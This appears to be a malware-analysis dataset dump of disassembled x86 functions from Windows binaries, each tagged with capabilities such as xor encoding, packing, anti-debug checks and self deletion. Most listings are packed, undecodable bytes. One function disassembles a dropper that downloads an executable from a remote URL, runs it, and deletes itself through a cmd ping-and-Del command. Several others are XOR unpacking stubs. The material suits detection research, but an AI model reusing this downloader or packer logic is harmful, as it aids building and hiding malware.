joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40209a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
lea edx, [eax - 1]
mov ebx, eax
and edx, dword [0x403050]
mov eax, 0x403054
call fcn.00401fb9
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x402c2f
push edx
sub edi, fcn.004023d9
push edi
xor eax, eax
push fcn.004023d9
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x402105
mov eax, fcn.004023d9
mov ebx, esi
mov edx, edi
call fcn.00401fb9
mov edx, 0x1c000
mov eax, 0x403054
mov ebx, esi
call fcn.00401828
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x431004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
nop
nop
mov ebx, 0x40915c
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x33da109b
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4310d2
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x77c54604
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40a8e8
Capabilities:
Authenticate hmac

Disassembly:
inc esp
mov cl, 0xe1
dec ebp
mov esi, 0xd945da05
sub eax, 0xd6bf9f2b
xchg ebp, eax
mov edi, 0xefc148e
dec edx
or eax, 0x2116650
scasb al, byte es:[edi]
adc dh, byte [ebp + 0x24]
pop eax
imul edi, eax, 0x1d
cmp al, byte [ecx]
out dx, eax
jns 0x40a95b
push edi
inc ebx
xlatb
popfd
leave
lds esp, [esi + 0x3a]
scasb al, byte es:[edi]
sub byte [ecx + 0x76d08936], al
xchg esp, eax
push eax
nop
js 0x40a9c6
cmp ch, bl
invalid

Function at 0x40c1a7
Capabilities:
Encode data using xor

Disassembly:
enter 0xffffffffffffe5f7, 0x6d
or dword [esi + 0xa], edx
test byte [0xca986b69], dh
push 0x37
mov eax, 0x8b85439d
xor dword [ebp - 0x584161a3], eax
pop ebp
push ecx
stc
test dword [ebx - 0x61a27acf], ecx
mov esi, 0xf9515da7
push ebp
std
xor al, 0xf3
dec esi
in al, 6
jg 0x40c191
scasb al, byte es:[edi]
xchg edi, eax
leave
loopne 0x40c1ca
outsb dx, byte [esi]
push ebx
insd dword es:[edi], dx
lodsd eax, dword [esi]
cmpsd dword [esi], dword es:[edi]
aad 0xc7
ficomp dword [edi + edi*4]
or dh, byte [edi]
sti
cmc
sub ebx, 0x74c504f2
adc eax, 0x8a01a120
sbb dword [0x4785da0c], 0x4785655f
jne 0x40c17d
test dword gs:[edi + 0x75], eax
scasb al, byte es:[edi]
mov cl, 0xbf
wait
invalid

Function at 0x40da98
Capabilities:
Encode data using xor

Disassembly:
pop esp
bswap esi
test byte [ecx - 0x60], bl
sub ah, byte [ebp - 0x24]
add byte [edx - 0x224b6086], 0x98
add edx, edi
daa
nop
or esp, dword [ebp + 0x1d]
lcall 0xc5ee, 0x53af8d67
jbe 0x40daaf
cwde
mov dword [esi - 0x6c5b5c2b], edi
xchg ebx, eax
mov eax, dword [0x613a3216]
shl dword [ebx], cl
push 0x31
pushfd
mov dword [ecx], edi
push ebp
pop edi
pop ecx
sbb byte [ecx - 0x6e3c972], bh
sub eax, 0xc1e9b366
push es
rol dword [esi], cl
mov bl, 0x4e
inc edi
xchg ebx, eax
scasb al, byte es:[edi]
adc edx, dword [edi - 0x10c1e104]
cld
push ds
out dx, eax
inc ebp
pop esp
cmp eax, 0xa63fb237
out dx, eax
sar byte [edi + 0x19b09a7a], 1
sbb dword [esi + 0x7fc61d49], 0xfef12f1b
xor ah, byte [ebx - 0x3d]
call 0x4cadf50a
cwde
dec edi
je 0x40dae5
ret 0x748f
Function at 0x44a9a4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5193a8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push edi
mov eax, dword [0x5624e0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov edi, ecx
lea ecx, [esp + 0xc]
call fcn.004539b3
mov dword [esp + 0x28], 0
test esi, esi
jne 0x44a9ea
xor eax, eax
jmp 0x44a9ed
mov eax, dword [esi + 4]
push eax
call dword [0x51b1ac]
push eax
lea ecx, [esp + 0x10]
call fcn.00453fe8
lea eax, [edi + 0x7c]
test eax, eax
je 0x44aa08
mov eax, dword [eax + 4]
push eax
mov eax, dword [esp + 0x14]
push eax
call fcn.0045434d
mov edx, dword [esp + 0x10]
mov ecx, dword [edi + 0xbc]
push 0xcc0020
push 0
push 0
push edx
mov ebx, eax
mov eax, dword [edi + 0xc0]
push eax
mov eax, dword [esi + 4]
push ecx
push 0
push 0
push eax
call dword [0x51b194]
test ebx, ebx
je 0x44aa46
mov ebx, dword [ebx + 4]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
call fcn.0045434d
mov edx, dword [esi]
mov edx, dword [edx + 0x28]
lea eax, [edi + 0x84]
push eax
mov ecx, esi
call edx
push 1
mov ecx, esi
call fcn.004536cd
mov ecx, dword [edi + 0xb8]
mov eax, dword [esi]
mov edx, dword [eax + 0x30]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xb4]
mov eax, dword [edi + 0xa0]
mov edx, dword [esi]
mov edx, dword [edx + 0x68]
push ecx
lea ecx, [edi + 0xa4]
push ecx
push 0xffffffffffffffff
push eax
mov ecx, esi
call edx
mov eax, dword [esi]
mov edx, dword [eax + 0x28]
lea ecx, [edi + 0x8c]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xe4]
mov eax, dword [esi]
mov edx, dword [eax + 0x30]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xe0]
mov eax, dword [edi + 0xcc]
mov edx, dword [esi]
mov edx, dword [edx + 0x68]
push ecx
add edi, 0xd0
push edi
push 0xffffffffffffffff
push eax
mov ecx, esi
call edx
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.00454069
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4f7425
Capabilities:
Check for software breakpoints

Disassembly:
movsb byte es:[edi], byte [esi]
xchg esi, eax
xor ah, 0xcb
xor dword [edi], 0xffffffd4
mov esi, 0xbd21179c
cld
mov dword [0xd6b9c712], eax
pop ecx
lodsd eax, dword [esi]
imul edi, dword [ebx + 0x13], 0x976f1d6b
fsub dword [ebp + 0x7c]
imul ebx, dword [0x65d8976f], 0x7c
aad 0xf7
pop ebp
test dword [ebx - 0x6e], eax
mov bh, 0x3f
inc esp
push ecx
fmulp st(5)
cmp al, 0xcc
sbb byte gs:[edx + 0x24], dh
add eax, 0x235eb857
xchg edi, eax
popal
mov dh, 0x66
inc esp
push 0x49
xor dh, byte [edi]
dec eax
push esi
je 0x4f74e3
and dword [edi], ebp
fisttp word [ecx]
cmp dl, byte [eax]
call 0x76c85eb0
loop 0x4f743d
pop edx
mov ah, 0x7f
mov dh, 0x75
inc esi
add dword [edi + 0x14827752], eax
pop edi
xchg ecx, eax
pop ds
clc
fisubr dword [edi + ebx + 0x3a]
mov al, 0x78
sub eax, 0xc246ade7
dec byte [ebx + 0x32c1e26e]
pop edi
mov ebp, dword [esi - 0x1e]
sal dword [edx], 0x5f
cmc
jge 0x4f7492
mov esi, 0x681efab3
mov dl, 0xfa
add ecx, dword [ebp - 0x1d]
out 0x9e, al
out 0x8b, al
and esi, ecx
or edi, ebx
pop ss
push esi
out dx, al
xor edi, eax
add dword es:[ebx - 0x152a6d7d], esi
inc ebp
nop
mov bl, 0x57
jo 0x4f74cf
adc dh, byte [ebx + edi*8]
call 0x93360756
test byte [esi - 0x2c], 0x3b
cmc
mov eax, 0x834e8297
push ebx
mov al, 0x97
dec esi
adc dword [ebx - 0x50], 0xffffff97
adc byte [eax + 0x47b91b11], ah
mov al, 0xad
xchg edi, eax
pop ebp
out 0x2a, eax
or byte [edi + 0x221780], bl
arpl word [edx - 0x60], sp
fild qword [edx]
mov ecx, 0x7010498f
popal
int3
adc byte [edi], 0x22
add byte [ebx + 0x62], ah
mov al, byte [0xb9f22adf]
invalid
Function at 0x533c54
Capabilities:
Encode data using xor

Disassembly:
adc dword [edi + 0x3b70820d], esi
imul ebp, dword [esi - 0x2ed48079], 0x9dfdc554
push esp
invalid
popfd
out 0xca, eax
dec esi
jne 0x533ca6
mov esp, 0xb54fcf78
jbe 0x533c63
jo 0x533c60
jmp 0x7b050839
aaa
lock and edi, dword [ebp + eax*2 - 0x38590187]
iretd
mov esp, 0xa6fe7945
invalid
inc eax
mul byte [ecx - 0x53ce205]
cwde
adc byte [esi + 0x34], bh
jns 0x533c89
or esp, dword [ebx - 0x2af53f27]
cmp al, 0xd4
jl 0x533d08
out dx, eax
ror dword [edx], 1
and dword [esi], ecx
jo 0x533cd9
rcl dword [eax*8 + 0x54318df0], 0x1b
sbb dword [edi], 0x6f83313
dec edi
jge 0x533ce4
int 0x5d
and byte [edx + 0x6d], al
inc edx
insd dword es:[edi], dx
jle 0x533c8d
inc eax
rcl al, 0x71
shl byte [esi + 0x405e5170], 1
push ecx
pop esi
inc eax
in eax, dx
inc esi
mov dl, 0xe9
lodsd eax, dword [esi]
dec edx
mov byte [esi - 0x71], dl
shr dword [edi - 0xb], cl
sub al, 0xdd
xchg edi, eax
in eax, 0x8b
dec ebp
pop eax
pop eax
mov ebp, 0x394c42a3
jb 0x533d67
nop
inc ebp
scasb al, byte es:[edi]
fnstsw word [ebp - 0x65]
xor esi, esp
scasd eax, dword es:[edi]
inc eax
adc byte [ebp + 2], bl
mov ebp, 0x7416f45a
add bh, byte [ebp + 0x7416f45a]
loope 0x533d80
enter 0x63e, 0x2d
test eax, 0x3616102c
xor edi, dword [edx - 0x1b]
jo 0x533d0e
jl 0x533d67
into
in al, 0x62
and ebx, ebp
xchg edx, eax
ror ecx, cl
cmp bh, ch
xor al, 0x10
add ah, cl
push edx
les ebx, [edx]
shr esp, cl
bound eax, qword cs:[ecx + 0x7110463a]
cld
salc
aas
lcall 0x7bb9, 0x8d08a91
cmpsb byte [esi], byte es:[edi]
inc edx
cld
sbb dword [ebx - 0x14], esi
pop esi
loopne 0x533d95
lodsb al, byte [esi]
cmp ah, byte [ecx + 0x4d]
sahf
jle 0x533d71
mov esp, 0xcca43c10
xor al, 0xde
lahf
inc ecx
dec ecx
imul edx, dword [ecx], 0x18db4316
and dword [esi - 0x630e51dc], eax
scasb al, byte es:[edi]
int1
pushfd
ret
fldcw word [0xdd42c6a1]
cmpsb byte [esi], byte es:[edi]
aam 0x33
imul esi, dword [edx], 0x2584118d
fdivr dword [edx]
pop edi
out dx, eax
insd dword es:[edi], dx
fdivr qword [edi + 0x1d]
jg 0x533db4
salc
lodsd eax, dword [esi]
mov ah, 0x8f
arpl word [eax], si
add al, 0xe
scasb al, byte es:[edi]
pushfd
movsd dword es:[edi], dword [esi]
in eax, dx
mov cl, 0x5d
cmp al, 0xd6
sub eax, 0x72a916aa
inc eax
cmp ah, dh
sub dword [edx - 0x2d], 0xffffffce
mov dword [0x20a27c9], eax
out 0x16, eax
push ds
insb byte es:[edi], dx
or dword [eax], eax
invalid

Function at 0x53938a
Capabilities:
Encode data using xor

Disassembly:
xchg eax, esp
lodsd eax, dword [esi]
cmpsd dword [esi], dword es:[edi]
aaa
retf 0x5adb
xor ch, byte [ebp - 0x71]
frstor dword [edi]
mov cl, 0x48
outsd dx, dword [esi]
sbb byte [esp + edx*8 + 0x5e27906b], dh
ret 0xec7f
enter 0xffffffffffffe428, 0xffffffffffffffc6
push 0xffffffffffffff8d
in al, 0x56
jbe 0x5393c3
mov al, 0x4d
sbb byte [0xf4f67f84], 0xb2
dec ebp
rcr byte [edx + 0x74], 1
jo 0x539323
jge 0x539333
mov esi, 0xaf0bb840
mov al, byte [0xff350559]
nop
int1
imul ebp, dword [edx + 0x67], 0x49a3a526
push 0x20
and dword [edx + edx*2 + 0x1b], esp
outsd dx, dword cs:[esi]
jo 0x539370
mov al, 0xe3
xchg ecx, eax
jecxz 0x539356
or al, 0xc7
invalid
Function at 0x539877
Capabilities:
Encode data using xor

Disassembly:
dec eax
lcall 0xca78, 0xc468eb9e
invalid

Function at 0x57bb8d
Capabilities:
Encode data using xor

Disassembly:
retf 0x9b73
clc
mov esp, 0xe4a206fc
pop edx
test byte [edx + ebx*8 - 0x45], dl
sbb byte [eax - 0x944b548], ch
arpl word [eax + eax*2], di
popfd
js 0x57bb3e
fadd qword [edx + 0x30]
mov eax, dword [0xc873a978]
or byte [eax + esi*8 + 0x41], cl
fmul dword [ecx - 0x16]
sbb bl, byte [esi + edx*2 + 0x63]
aas
xor dword [esi], esp
push edx
jne 0x57bbb7
mov al, 0xe8
int1
test eax, 0xdc178f9f

Function at 0x5c929b
Capabilities:
Encode data using xor

Disassembly:
and dword [eax], edi
cmp bl, byte [eax]
wait
cmp byte [edx], bh
sbb byte [edi - 0x65], ah
dec eax
xor dword [ecx - 0x503bb94c], edi
xchg ebx, eax
in al, dx
add al, 0x2e
imul bl
stosb byte es:[edi], al
jge 0x5c929c
shl byte [edi + 0x936d854], 1
enter 0x249f, 0x57
call 0x71c389e7
scasb al, byte es:[edi]
sbb byte [ebx + 0x24d8153f], cl
adc dl, dh
or dl, dh
adc al, 0xd4
mul eax
pop ebx
push ss
pop edi
test al, 0x36
mov eax, 0x22f3b933
xlatb
sbb eax, 0xdad07758
sub al, 0x86
pop esi
or eax, 0x3f6a8520
je 0x5c9321
mov dword [ebp - 0x6c], ecx
cld
jle 0x5c9355
scasd eax, dword es:[edi]
pop esi
mov edx, 0xbb0e8b0d
out 7, al
invalid
cmpsd dword [esi], dword es:[edi]
into
into
sbb al, 0x3f
dec si
xchg esi, eax
ret 0x2342
pop ecx
jnp 0x5c9323
mov dh, 0xbc
push ds
frstor dword [eax - 0x76]
xchg edi, eax
dec esi
inc eax
out 0x4a, al
add dl, byte [esi + ebp]
mov edx, dword [eax - 0x5fc589dc]
mov dh, 0xd6
sbb al, bl
mov ah, al
fdivrp st(3)
mov dh, 0xf
pop ds
arpl word [eax + 0x2c5368c3], bp
test ch, bl
push ss
imul eax, dword [edi], 0x2919681e
cmpsd dword [esi], dword es:[edi]
add al, byte [eax + 0x2642baea]
pop es
adc ah, bh
outsd dx, dword [esi]
cmp ebp, dword [ecx + 0x4573e9a]
pop ebx
mul dword [0xbd861ad9]
ror ebp, 1
or esp, esp
mov ebp, 0x3bc87e18
ja 0x5c936d
invalid
cwde
cmp ah, byte [eax + 0x2f56d84d]
lodsb al, byte [esi]
sub byte [eax - 0x12], bh
cmp ecx, dword [0x67784e0c]
and byte [ebp + 0xb], bh
xor al, 1
lodsd eax, dword [esi]
popal
mov al, byte [0xc875b57]
cmp dh, al
jecxz 0x5c9350
cmp al, 0x93
sbb dword [edi + 0x57183c46], edx
and al, 0x16
xchg esi, eax
cmp al, 0xb1
dec eax
xchg bl, ch
iretd
Function at 0x5cbf6b
Capabilities:
Check for vm using instruction vpcext

Disassembly:
mov byte [ebx], cl
ljmp 0xd856
enter 0xffffffffffffb8d9, 0xffffffffffffffdb
cmc
leave
sub byte [edi], dh
cmp byte [0x32bbd950], bl
sub al, 0x49
rcl dword [ecx], cl
jb 0x5cbf37
stosb byte es:[edi], al
sbb cl, byte [edx + 0x52]
cmpsb byte [esi], byte es:[edi]
sub byte [esi - 0x4f14b6e1], al
js 0x5cbef2
pushfd
mov dword [esi + eax*8 + 0x1ba0798], esi
sbb dl, 0xfd
cmp eax, 0xb73a663c
cmc
rcl byte [ebp - 0x37b28de8]
xchg ebp, eax
invalid
inc esp
imul ebx, dword [0x29843833], 0x56
sub byte [edi - 0x3ea2e4d], cl
cld
cld
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
js 0x5cbf9a
jae 0x5cbf5e
sbb byte [edx], dl
fdiv dword [esi + 8]
rcl dword [esi + edx*2], cl
lds eax, [ebx - 0x68]
shl byte [edx], 1
xor al, 0xbf
push edx
cmp esp, esp
xchg dword [edi + 0x37], eax
loop 0x5cbf0a
and ebx, dword [edi - 0x3a]
push 0xfffffffffffffff6
mov ch, 0xb5
enter 0xffffffffffffd916, 0x54
dec ebp
fcmovnu st(0), st(5)
and eax, ebx
inc edi
test byte [edx - 0x43], bl
aaa
test ecx, edi
lea ecx, [edi + 0x34]
shl dword [edx + ebp*8], cl
invalid

Function at 0x61e594
Capabilities:
Encode data using xor

Disassembly:
lds eax, [ebp + 0x73]
lcall 0x2473, 0xdabcc34f
jo 0x61e5e1
pop eax
movsd dword es:[edi], dword [esi]
add al, 0x8c
out dx, eax
mov al, 0xff
std
test eax, ebx
add al, 0xb1
xlatb
lfs ebx, [ebp + 0x4e]
xor al, 0xba
mov eax, 0x924123f8
cmp bh, byte [eax + 0x29]
dec eax
rcl dword [edx + esi*8 - 0x7d]
push edi
mov fs, esp
and eax, 0x8dc699d1
lcall 0x8b5b, 0xd5c89d76
lcall 0x39f9, 0x5a47c75
pop ebp
dec ecx
adc eax, 0x374b127e
rcl dword [ebp - 0x15ec0860]
mov ecx, 0xaa5aaac
ror byte [edi + 0x4a], 1
cmpsb byte [esi], byte es:[edi]
sub eax, 0x890a0e11
ror byte [eax + eax*8 + 0x12], 0x61
push ebx
and al, 0x25
sbb al, 0xa4
xor eax, 0x3c7825e4
adc dword [0x9694bc81], 0xe1b57c97
push esi
aaa
cdq
scasd eax, dword es:[edi]
in al, dx
invalid
not dword [ebx]
ljmp 0xf20a
Function at 0x401f40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403250
push 0x402140
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x404184], 0xffffffff
mov dword [0x404188], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x404180]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x40417c]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x40418c], ecx
call fcn.00402130
mov eax, dword [0x404130]
test eax, eax
jne 0x401fd1
push 0x402120
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00402100
push 0x40400c
push 0x404008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x404178]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x404174]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x404004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x4020df
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x402045
cmp al, 0x22
jne 0x402037
cmp byte [esi], 0x22
jne 0x40204e
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x40205e
cmp al, 0x20
ja 0x40205e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x40204e
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x40207f
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x402084
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x4020c4
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x40204e
inc esi
mov dword [ebp - 0x74], esi
jmp 0x4020df

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x49ad73f9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x5b897a07
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401080
Capabilities:
Create http request
Create process on windows
Download url
Receive data
Reference http user-agent string
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x680
mov eax, dword [0x404004]
xor eax, esp
mov dword [esp + 0x67c], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0
call dword [sym.imp.WININET.dll_InternetOpenW]
lea ecx, [esp]
mov dword [0x404388], eax
mov dword [esp], 0x7d0
mov dword [esp + 4], 0
call fcn.004011e0
push 0
push 0
push str.C:UsersPublicDocumentsCR433101.dat.exe
push str.http:__ssl_6582datamanager.hellotherehi.local_favicon.ico
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x401142
push eax
push 0x40000000
push eax
push eax
push str.http:__maskop9999.dev
push dword [0x404388]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
lea ecx, [esp]
mov dword [esp], 0xc8
mov dword [esp + 4], 0
call fcn.004011e0
push 1
push 0x403138
push 0
push str.ping_1.1.1.1__n_1__w_3000___Nul__C:UsersPublicDocumentsCR433101.dat.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov ecx, dword [esp + 0x67c]
xor ecx, esp
call fcn.00401399
mov esp, ebp
pop ebp
ret
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x60]
xorps xmm0, xmm0
movaps xmmword [esp], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x60]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea eax, [esp + 0x270]
push 0x208
push eax
call fcn.00401010
add esp, 0x10
lea eax, [esp]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x288]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x67c]
mov eax, 1
xor ecx, esp
call fcn.00401399
mov esp, ebp
pop ebp
ret
Function at 0x412eb4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x427ff5
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
push ebx
push edi
mov eax, dword [0x4362ec]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x50], ebx
push 0x42efc0
lea ecx, [esp + 0x10]
call fcn.00408720
call fcn.00412689
push eax
lea edi, [esp + 0x1c]
call fcn.00408228
mov eax, dword [eax]
mov dword [esp + 0x14], eax
mov byte [esp + 0x50], 1
push dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push 0x42d240
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push 0x42efe0
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push 1
lea edi, [esp + 0x1c]
call fcn.00408228
mov eax, dword [eax]
mov dword [esp + 0x10], eax
mov byte [esp + 0x50], 2
push dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push 0x42eff0
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push 0x42eff8
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push dword [ebp + 8]
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
push 0x42effc
lea eax, [esp + 0x10]
push eax
call fcn.004086d4
mov dword [esp + 0x1c], str.InstallDataRoot
mov dword [esp + 0x30], ebx
mov byte [esp + 0x50], 3
mov dword [esp + 0x34], ebx
mov byte [esp + 0x50], 4
lea eax, [esp + 0x1c]
push eax
mov byte [esp + 0x30], bl
mov dword [esp + 0x2c], ebx
call fcn.00412ac6
mov byte [esp + 0x50], 5
push dword [esp + 0xc]
lea ecx, [esp + 0x20]
call fcn.00412396
mov byte [esp + 0x50], 2
lea ecx, [esp + 0x1c]
call fcn.00412354
mov byte [esp + 0x50], 1
cmp dword [esp + 0x10], ebx
je 0x412ffb
lea ecx, [esp + 0x10]
call fcn.004088a7
mov byte [esp + 0x50], bl
cmp dword [esp + 0x14], ebx
je 0x41300e
lea ecx, [esp + 0x14]
call fcn.004088a7
or dword [esp + 0x50], 0xffffffff
cmp dword [esp + 0xc], ebx
je 0x413022
lea ecx, [esp + 0xc]
call fcn.004088a7
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x54c31bf6
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x31476581
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x408953
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
sub ebx, esi
call fcn.0040898b
dec ebx
mov esi, esi
xor dword [edx], eax
add esi, 0x81eeafa3
sub esp, 4
mov dword [esp], ebx
mov esi, dword [esp]
add esp, 4
add edx, 1
cmp edx, ecx
jne fcn.00408953
dec esi
and ebx, esi
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x68ef672d
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x7cf9299a
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219